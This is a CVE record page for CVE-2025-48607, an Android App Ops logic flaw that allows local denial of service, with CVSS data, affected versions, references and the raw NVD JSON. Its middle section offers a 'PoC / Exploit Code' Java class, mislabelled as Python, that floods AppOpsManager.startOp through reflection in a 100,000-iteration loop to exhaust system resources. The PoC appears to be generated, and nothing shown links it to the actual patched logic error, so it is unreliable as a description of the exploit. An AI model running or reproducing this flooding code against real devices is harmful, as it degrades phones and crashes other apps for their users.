CVE-2025-48607

Description

In multiple locations, there is a possible way to create a large amount of app ops due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:* - VULNERABLE

Android Framework < 2025-12-01安全补丁版本

Android 特定版本（需参考官方安全公告确认具体版本范围）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-48607 PoC - Android App Ops资源耗尽漏洞
// 此PoC演示如何通过重复调用App Ops相关API触发资源耗尽

package com.example.cve202548607;

import android.app.AppOpsManager;
import android.content.Context;
import android.os.Process;
import java.lang.reflect.Method;

public class AppOpsExploit {
    private static final int MAX_ITERATIONS = 100000;
    
    public static void exploit(Context context) {
        AppOpsManager appOps = (AppOpsManager) 
            context.getSystemService(Context.APP_OPS_SERVICE);
        
        String[] opsToTrigger = {
            "COARSE_LOCATION",
            "FINE_LOCATION", 
            "CAMERA",
            "RECORD_AUDIO",
            "READ_CONTACTS",
            "WRITE_CONTACTS",
            "READ_CALENDAR",
            "WRITE_CALENDAR",
            "READ_SMS",
            "SEND_SMS"
        };
        
        // 循环创建大量App Ops记录
        for (int i = 0; i < MAX_ITERATIONS; i++) {
            for (String op : opsToTrigger) {
                try {
                    // 通过反射调用内部API触发App Ops记录创建
                    Method startOpMethod = AppOpsManager.class.getMethod(
                        "startOp", String.class, int.class, String.class
                    );
                    startOpMethod.invoke(appOps, op, 
                        android.os.Process.myUid(), 
                        context.getPackageName());
                } catch (Exception e) {
                    // 静默处理异常继续执行
                }
            }
            
            // 每1000次迭代输出进度
            if (i % 1000 == 0) {
                System.out.println("Progress: " + i + "/" + MAX_ITERATIONS);
            }
        }
        
        System.out.println("Exploit completed - App Ops resource exhaustion triggered");
    }
}

// 漏洞利用效果：
// 1. 系统内存占用显著增加
// 2. App Ops服务响应延迟
// 3. 系统整体性能下降
// 4. 可能导致其他应用崩溃

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-48607
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-48607
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-48607/
[4] VulDB https://vuldb.com/cve/CVE-2025-48607
[5] https://android.googlesource.com/platform/frameworks/base/+/03d7040699148c961df09dec301d8a1e982ee231
[6] https://source.android.com/security/bulletin/2025-12-01

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-48607", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:17.577", "lastModified": "2025-12-08T21:15:59.600", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple locations, there is a possible way to create a large amount of app ops due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/03d7040699148c961df09dec301d8a1e982ee231", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}